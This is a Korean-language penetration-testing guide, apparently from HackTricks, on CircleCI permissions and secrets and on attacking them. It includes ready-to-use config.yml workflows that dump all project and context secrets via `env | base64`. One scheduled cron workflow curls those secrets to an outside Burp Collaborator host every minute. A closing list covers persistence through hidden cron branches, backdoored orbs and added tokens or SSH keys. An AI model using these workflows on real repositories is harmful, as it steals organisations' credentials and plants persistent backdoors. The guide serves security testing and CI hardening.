CircleCI Security

HackTricks 지원하기

기본 정보

CircleCI템플릿을 정의하여 코드로 무엇을 하고 언제 할지를 지정할 수 있는 지속적 통합 플랫폼입니다. 이렇게 하면 예를 들어 레포 마스터 브랜치에서 직접 테스트 또는 배포자동화할 수 있습니다.

권한

CircleCI는 로그인하는 계정과 관련된 github 및 bitbucket의 권한을 상속합니다. 내 테스트에서 확인한 바에 따르면, github의 레포에 대한 쓰기 권한이 있는 한, CircleCI에서 프로젝트 설정을 관리할 수 있습니다(새 ssh 키 설정, 프로젝트 api 키 가져오기, 새로운 CircleCI 구성으로 새로운 브랜치 만들기 등).

그러나 레포를 CircleCI 프로젝트로 변환하려면 레포 관리자여야 합니다.

환경 변수 및 비밀

문서에 따르면, 워크플로 내에서 환경 변수에 값을 로드하는 다양한 방법이 있습니다.

내장 환경 변수

CircleCI에서 실행되는 모든 컨테이너는 항상 문서에 정의된 특정 환경 변수를 가집니다. 예를 들어 CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME 또는 CIRCLE_USERNAME이 있습니다.

일반 텍스트

명령 내에서 일반 텍스트로 선언할 수 있습니다:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

실행 환경 내에서 명확한 텍스트로 선언할 수 있습니다:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

build-job 환경 내에서 명확한 텍스트로 선언할 수 있습니다:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

컨테이너의 환경 내에서 명확한 텍스트로 선언할 수 있습니다:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

프로젝트 비밀

이것은 프로젝트(모든 브랜치에서)만 접근할 수 있는 비밀입니다. 다음 링크에서 선언된 내용을 확인할 수 있습니다: https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

"변수 가져오기" 기능은 다른 프로젝트에서 변수를 가져올 수 있게 해줍니다.

컨텍스트 비밀

이것은 조직 전체에 해당하는 비밀입니다. 기본적으로 모든 레포는 여기 저장된 모든 비밀접근할 수 있습니다:

그러나 다른 그룹(모든 구성원 대신)을 선택하여 특정 사람에게만 비밀에 대한 접근을 허용할 수 있습니다. 이는 비밀의 보안을 강화하는 가장 좋은 방법 중 하나로, 모든 사람이 접근할 수 없도록 하고 특정 사람만 접근할 수 있도록 합니다.

공격

평문 비밀 검색

VCS(예: github)에 접근할 수 있다면, 각 브랜치의 각 레포에서 .circleci/config.yml 파일을 확인하고 저장된 평문 비밀검색하세요.

비밀 환경 변수 및 컨텍스트 열거

코드를 확인하면 각 .circleci/config.yml 파일에서 사용되는 모든 비밀 이름을 찾을 수 있습니다. 또한 해당 파일에서 컨텍스트 이름을 가져오거나 웹 콘솔에서 확인할 수 있습니다: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

프로젝트 비밀 유출

모든 프로젝트 및 컨텍스트 비밀유출하기 위해서는 전체 github 조직에서 단 1개의 레포쓰기 권한만 있으면 됩니다 (그리고 귀하의 계정은 컨텍스트에 접근할 수 있어야 하지만 기본적으로 모든 사람이 모든 컨텍스트에 접근할 수 있습니다).

"변수 가져오기" 기능은 다른 프로젝트에서 변수를 가져올 수 있게 해줍니다. 따라서 공격자는 모든 레포에서 모든 프로젝트 변수를 가져온 다음 모두 함께 유출할 수 있습니다.

모든 프로젝트 비밀은 항상 작업의 env에 설정되므로, env를 호출하고 base64로 난독화하면 워크플로우 웹 로그 콘솔에서 비밀을 유출할 수 있습니다:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

만약 웹 콘솔에 접근할 수 없지만 레포에 접근할 수 있고 CircleCI가 사용되고 있다는 것을 안다면, 매 분마다 트리거되는 워크플로우를 생성하여 비밀을 외부 주소로 유출할 수 있습니다:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

컨텍스트 비밀 추출

컨텍스트 이름을 지정해야 합니다 (이것은 프로젝트 비밀도 추출합니다):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

만약 웹 콘솔에 접근할 수 없지만 레포에 접근할 수 있고 CircleCI가 사용되고 있다는 것을 안다면, 매 분마다 트리거되는 워크플로우를 수정하여 비밀을 외부 주소로 유출할 수 있습니다:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

저는 새로운 .circleci/config.yml을 레포에 생성하는 것만으로는 circleci 빌드를 트리거할 수 없습니다. circleci 콘솔에서 프로젝트로 활성화해야 합니다.

클라우드로 탈출

CircleCI당신의 빌드를 그들의 머신에서 실행하거나 당신의 머신에서 실행할 수 있는 옵션을 제공합니다. 기본적으로 그들의 머신은 GCP에 위치해 있으며, 처음에는 관련된 정보를 찾을 수 없습니다. 그러나 피해자가 자신의 머신(잠재적으로 클라우드 환경)에서 작업을 실행하고 있다면, 흥미로운 정보가 있는 클라우드 메타데이터 엔드포인트를 찾을 수 있습니다.

이전 예제에서는 모든 것이 도커 컨테이너 내에서 실행되었지만, VM 머신을 실행하도록 요청할 수도 있습니다(다른 클라우드 권한이 있을 수 있습니다):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

또는 원격 도커 서비스에 접근할 수 있는 도커 컨테이너:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistence

  • CircleCI에서 사용자 토큰을 생성하여 사용자 접근으로 API 엔드포인트에 접근할 수 있습니다.

  • https://app.circleci.com/settings/user/tokens

  • 프로젝트 토큰을 생성하여 토큰에 부여된 권한으로 프로젝트에 접근할 수 있습니다.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • 프로젝트에 SSH 키를 추가할 수 있습니다.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • 예기치 않은 프로젝트의 숨겨진 브랜치에 크론 작업을 생성하여 매일 모든 컨텍스트 환경 변수를 유출할 수 있습니다.

  • 또는 브랜치에서 생성하거나 알려진 작업을 수정하여 매일 모든 컨텍스트와 프로젝트 비밀유출할 수 있습니다.

  • GitHub 소유자인 경우 검증되지 않은 오브를 허용하고 작업에서 백도어로 구성할 수 있습니다.

  • 일부 작업에서 명령 주입 취약점을 찾아 비밀의 값을 수정하여 명령을 주입할 수 있습니다.

Support HackTricks

Last updated